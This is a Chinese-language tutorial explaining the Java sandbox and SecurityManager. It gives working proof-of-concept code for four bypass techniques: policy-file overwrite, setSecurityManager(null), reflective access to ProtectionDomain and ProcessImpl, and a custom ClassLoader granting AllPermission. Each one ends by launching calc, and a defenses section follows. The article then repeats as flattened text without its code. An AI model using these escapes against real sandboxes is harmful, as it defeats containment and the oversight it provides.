Java沙箱限制下SecurityManager绕过手法
字数 2282 2025-08-22 12:23:19

Java沙箱限制下SecurityManager绕过手法详解

1. Java沙箱组成概述

Java沙箱是一种安全机制,用于隔离和保护Java应用程序的执行环境,防止未经授权的操作。它主要由以下五个核心组件构成:

  1. 字节码校验器(Bytecode Verifier)

    • 功能:校验字节码文件是否符合Java语言规范
    • 检查内容:类文件格式、操作码合法性、变量初始化等
    • 特点:并非所有类文件都会经过校验(如核心类库)
  2. 类加载器(Class Loader)

    • 功能:负责将.class文件加载到JVM中
    • 特点:
      • 支持自定义类加载器
      • 采用双亲委派机制(从顶层父类加载器开始层层委派)
      • 防止恶意代码加载伪造的同名类
  3. 存取控制器(Access Controller)

    • 功能:控制核心API对底层操作系统资源的访问
    • 特点:
      • 使用安全策略文件(policy file)配置访问规则
      • 通过权限检查控制资源访问(文件、网络等)
  4. 安全管理器(Security Manager)

    • 功能:作为核心API和操作系统之间的接口,执行权限控制
    • 特点:
      • 优先级高于存取控制器
      • 可拦截和限制特定操作(文件写入、线程停止等)
  5. 安全软件包(Security Package)

    • 功能:提供安全工具和扩展功能
    • 包含:
      • 安全提供者(定义安全算法和服务)
      • 消息摘要(数据完整性验证)
      • 数字签名(数据认证和完整性保护)
      • 加密(对称和非对称加密)
      • 鉴别(用户身份验证)

2. ClassLoader在沙箱中的核心作用

自定义ClassLoader可以实现对局部Jar包或class文件的单独权限控制。通过在调用defineClass()方法时为加载的类设置ProtectionDomain:

public class MyClassLoader extends ClassLoader {
    private String rootDir; // class文件所在根目录
    final private PermissionCollection permissionCollection; // 权限集合
    
    public MyClassLoader(String rootDir) {
        this.rootDir = rootDir;
        this.permissionCollection = new MyPermissionCollection();
        // 添加权限
        this.permissionCollection.add(new FilePermission("/tmp/-", "read,write"));
        this.permissionCollection.add(new SocketPermission("127.0.0.1:8080", "connect"));
        this.permissionCollection.setReadOnly(); // 设置为只读
    }
    
    @Override
    protected Class<?> findClass(String className) {
        // 读取class文件内容
        byte[] classData = ...; // 从文件读取字节码
        // 创建ProtectionDomain
        ProtectionDomain pd = new ProtectionDomain(null, permissionCollection);
        Class<?> clazz = defineClass(null, classData, 0, classData.length, pd);
        return clazz;
    }
}

3. Java沙箱三要素:权限

权限是Java安全模型的核心概念,包含三部分:

  1. 权限类型:实现权限的Java类名(继承自java.security.Permission)

    • java.security.AllPermission:允许所有操作
    • java.lang.RuntimePermission:控制运行时操作(如线程停止)
    • java.io.FilePermission:控制文件操作
  2. 权限名:具体资源的位置或范围

    • 文件权限:如"/tmp/foo"
    • 网络权限:如"127.0.0.1:8080"
  3. 允许的操作:对资源的具体行为

    • 文件操作:read、write、execute
    • 网络操作:connect、accept

示例:

permission java.security.AllPermission; // 权限类型
permission java.lang.RuntimePermission "stopThread"; // 类型+名称
permission java.io.FilePermission "/tmp/foo" "read"; // 类型+名称+操作

4. SecurityManager使用

Java Security Manager是沙箱机制的核心组件:

  • 功能:执行权限控制,通过抛出异常阻止无权限或敏感操作
  • 特点:
    • 从Java 1.0引入,默认禁用
    • 适用于Java 1.0 - Java 16

启动方式:

# 默认实现
java -Djava.security.manager
# 自定义实现
java -Djava.security.manager=net.sourceforge.prograde.sm.ProGradeJSM
# 指定策略文件
java -Djava.security.manager -Djava.security.policy="E:/java.policy"

5. 策略文件详解

策略文件(policy file)是Java沙箱的核心管理要素,为每个代码来源(CodeSource)定义保护域(Protection Domain)。

默认java.policy文件内容

// 标准扩展默认拥有所有权限
grant codeBase "file:${{java.ext.dirs}}/*" {
    permission java.security.AllPermission;
};

// 默认授予所有域的权限
grant {
    permission java.lang.RuntimePermission "stopThread";
    permission java.net.SocketPermission "localhost:0", "listen";
    // 可读取的标准属性
    permission java.util.PropertyPermission "java.version", "read";
    // ...其他属性读取权限
};

java.security文件

# 默认策略文件位置
policy.url.1=file:${java.home}/lib/security/java.policy
policy.url.2=file:${user.home}/.java.policy

# 是否允许通过命令行指定策略文件
policy.allowSystemProperty=true

6. 权限配置基本原则

  1. 没有配置的权限表示没有权限:默认拒绝所有操作
  2. 只能配置允许的权限:不能直接禁止操作
  3. 同种权限多次配置取并集:权限会合并
  4. 统一资源的多种权限可用逗号分割
    permission java.io.FilePermission "/tmp/foo", "read,write";
    

7. Java沙箱逃逸手法

7.1 单等号配合写policy绕过

原理

  • 使用-Djava.security.policy==java.policy(注意双等号)
  • 单等号会将指定策略文件添加到默认策略文件之后
  • 如果home目录可写,可写入.java.policy文件

利用条件

grant {
    permission java.io.FilePermission "C:\\Users\\Administrator\\*", "write";
};

攻击代码

import java.io.FileWriter;
public class Exp {
    public static void main(String[] args) throws Exception {
        String homePolicyFile = "grant {\n permission java.io.FilePermission \"<<ALL FILES>>\", \"execute\";\n};";
        FileWriter writer = new FileWriter("C:\\Users\\Administrator\\.java.policy");
        writer.write(homePolicyFile);
        writer.close();
        Runtime.getRuntime().exec("calc");
    }
}

7.2 利用setSecurityManager绕过

原理

  • 如果策略文件授予了setSecurityManager权限
  • 可调用System.setSecurityManager(null)禁用安全管理器

利用条件

grant {
    permission java.lang.RuntimePermission "setSecurityManager";
};

攻击代码

public class Exp {
    public static void main(String[] args) throws Exception {
        System.setSecurityManager(null);
        Runtime.getRuntime().exec("calc");
    }
}

7.3 反射绕过

7.3.1 getProtectionDomain反射绕过

原理

  • 通过反射直接调用getProtectionDomain0()方法
  • 绕过对getProtectionDomain()方法的过滤

利用条件

grant {
    permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
    permission java.lang.RuntimePermission "accessDeclaredMembers";
};

攻击代码

public class BypassSandbox {
    public static void main(String[] args) throws Exception {
        setHasAllPerm0("calc");
    }
    
    public static void setHasAllPerm0(String command) throws Exception {
        StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
        for (StackTraceElement stackTraceElement : stackTraceElements) {
            try {
                Class clz = Class.forName(stackTraceElement.getClassName());
                Method getProtectionDomain = clz.getClass().getDeclaredMethod("getProtectionDomain0", null);
                getProtectionDomain.setAccessible(true);
                ProtectionDomain pd = (ProtectionDomain) getProtectionDomain.invoke(clz);
                if (pd != null) {
                    Field field = pd.getClass().getDeclaredField("hasAllPerm");
                    field.setAccessible(true);
                    field.set(pd, true);
                }
            } catch (Exception e) { e.printStackTrace(); }
        }
        Runtime.getRuntime().exec(command);
    }
}

7.3.2 ProcessImpl反射绕过

原理

  • 通过反射直接调用ProcessImpl.start()
  • 绕过ProcessBuilder.start()中的权限检查

攻击代码

public class BypassSandbox {
    public static void main(String[] args) throws Exception {
        reflectProcessImpl("calc");
    }
    
    public static void reflectProcessImpl(String command) throws Exception {
        Class clz = Class.forName("java.lang.ProcessImpl");
        Method method = clz.getDeclaredMethod("start", String[].class, Map.class, 
            String.class, ProcessBuilder.Redirect[].class, boolean.class);
        method.setAccessible(true);
        method.invoke(clz, new String[]{command}, null, null, null, false);
    }
}

7.4 自定义ClassLoader绕过

原理

  • 自定义ClassLoader加载恶意类
  • 设置ProtectionDomain为全部权限
  • 结合doPrivileged()扩展权限范围

利用条件

grant {
    permission java.lang.RuntimePermission "createClassLoader";
    permission java.io.FilePermission "<<ALL FILES>>", "read";
};

攻击代码

public class poc {
    public static void main(String[] args) throws Exception {
        MyClassLoader mcl = new MyClassLoader();
        Class<?> c1 = Class.forName("Exp", true, mcl);
        Object obj = c1.newInstance();
    }
}

class Exp {
    static {
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                try {
                    Process process = Runtime.getRuntime().exec("calc");
                } catch (Exception e) { e.printStackTrace(); }
                return null;
            }
        });
    }
}

class MyClassLoader extends ClassLoader {
    // ... 其他方法同上 ...
    protected final Class<?> defineClazz(String name, byte[] b, int off, int len) {
        try {
            PermissionCollection pc = new Permissions();
            pc.add(new AllPermission());
            ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, null), pc, this, null);
            return this.defineClass(name, b, off, len, pd);
        } catch (Exception e) { return null; }
    }
}

8. 防御措施

  1. 限制反射权限

    • 不授予accessDeclaredMemberssuppressAccessChecks权限
    • 使用sun.reflect.Reflection注册过滤规则:
      Reflection.registerMethodsToFilter(Class<?> clazz, String... methodNames);
      Reflection.registerFieldsToFilter(Class<?> clazz, String... fieldNames);
      
  2. 谨慎授予权限

    • 避免不必要的权限授予(如createClassLoadersetSecurityManager
    • 使用最小权限原则
  3. 策略文件安全

    • 确保策略文件不可被恶意修改
    • 避免使用单等号加载策略文件
  4. 更新Java版本

    • 使用最新Java版本,许多旧版绕过方法在新版中已修复

通过全面理解Java沙箱机制及其绕过手法,可以更好地设计和实施Java应用程序的安全防护策略。

Java沙箱限制下SecurityManager绕过手法详解 1. Java沙箱组成概述 Java沙箱是一种安全机制,用于隔离和保护Java应用程序的执行环境,防止未经授权的操作。它主要由以下五个核心组件构成: 字节码校验器(Bytecode Verifier) 功能:校验字节码文件是否符合Java语言规范 检查内容:类文件格式、操作码合法性、变量初始化等 特点:并非所有类文件都会经过校验(如核心类库) 类加载器(Class Loader) 功能:负责将.class文件加载到JVM中 特点: 支持自定义类加载器 采用双亲委派机制(从顶层父类加载器开始层层委派) 防止恶意代码加载伪造的同名类 存取控制器(Access Controller) 功能:控制核心API对底层操作系统资源的访问 特点: 使用安全策略文件(policy file)配置访问规则 通过权限检查控制资源访问(文件、网络等) 安全管理器(Security Manager) 功能:作为核心API和操作系统之间的接口,执行权限控制 特点: 优先级高于存取控制器 可拦截和限制特定操作(文件写入、线程停止等) 安全软件包(Security Package) 功能:提供安全工具和扩展功能 包含: 安全提供者(定义安全算法和服务) 消息摘要(数据完整性验证) 数字签名(数据认证和完整性保护) 加密(对称和非对称加密) 鉴别(用户身份验证) 2. ClassLoader在沙箱中的核心作用 自定义ClassLoader可以实现对局部Jar包或class文件的单独权限控制。通过在调用defineClass()方法时为加载的类设置ProtectionDomain: 3. Java沙箱三要素:权限 权限是Java安全模型的核心概念,包含三部分: 权限类型 :实现权限的Java类名(继承自java.security.Permission) java.security.AllPermission:允许所有操作 java.lang.RuntimePermission:控制运行时操作(如线程停止) java.io.FilePermission:控制文件操作 权限名 :具体资源的位置或范围 文件权限:如"/tmp/foo" 网络权限:如"127.0.0.1:8080" 允许的操作 :对资源的具体行为 文件操作:read、write、execute 网络操作:connect、accept 示例: 4. SecurityManager使用 Java Security Manager是沙箱机制的核心组件: 功能:执行权限控制,通过抛出异常阻止无权限或敏感操作 特点: 从Java 1.0引入,默认禁用 适用于Java 1.0 - Java 16 启动方式: 5. 策略文件详解 策略文件(policy file)是Java沙箱的核心管理要素,为每个代码来源(CodeSource)定义保护域(Protection Domain)。 默认java.policy文件内容 : java.security文件 : 6. 权限配置基本原则 没有配置的权限表示没有权限 :默认拒绝所有操作 只能配置允许的权限 :不能直接禁止操作 同种权限多次配置取并集 :权限会合并 统一资源的多种权限可用逗号分割 : 7. Java沙箱逃逸手法 7.1 单等号配合写policy绕过 原理 : 使用 -Djava.security.policy==java.policy (注意双等号) 单等号会将指定策略文件添加到默认策略文件之后 如果home目录可写,可写入 .java.policy 文件 利用条件 : 攻击代码 : 7.2 利用setSecurityManager绕过 原理 : 如果策略文件授予了 setSecurityManager 权限 可调用 System.setSecurityManager(null) 禁用安全管理器 利用条件 : 攻击代码 : 7.3 反射绕过 7.3.1 getProtectionDomain反射绕过 原理 : 通过反射直接调用 getProtectionDomain0() 方法 绕过对 getProtectionDomain() 方法的过滤 利用条件 : 攻击代码 : 7.3.2 ProcessImpl反射绕过 原理 : 通过反射直接调用 ProcessImpl.start() 绕过 ProcessBuilder.start() 中的权限检查 攻击代码 : 7.4 自定义ClassLoader绕过 原理 : 自定义ClassLoader加载恶意类 设置ProtectionDomain为全部权限 结合 doPrivileged() 扩展权限范围 利用条件 : 攻击代码 : 8. 防御措施 限制反射权限 : 不授予 accessDeclaredMembers 和 suppressAccessChecks 权限 使用 sun.reflect.Reflection 注册过滤规则: 谨慎授予权限 : 避免不必要的权限授予(如 createClassLoader 、 setSecurityManager ) 使用最小权限原则 策略文件安全 : 确保策略文件不可被恶意修改 避免使用单等号加载策略文件 更新Java版本 : 使用最新Java版本,许多旧版绕过方法在新版中已修复 通过全面理解Java沙箱机制及其绕过手法,可以更好地设计和实施Java应用程序的安全防护策略。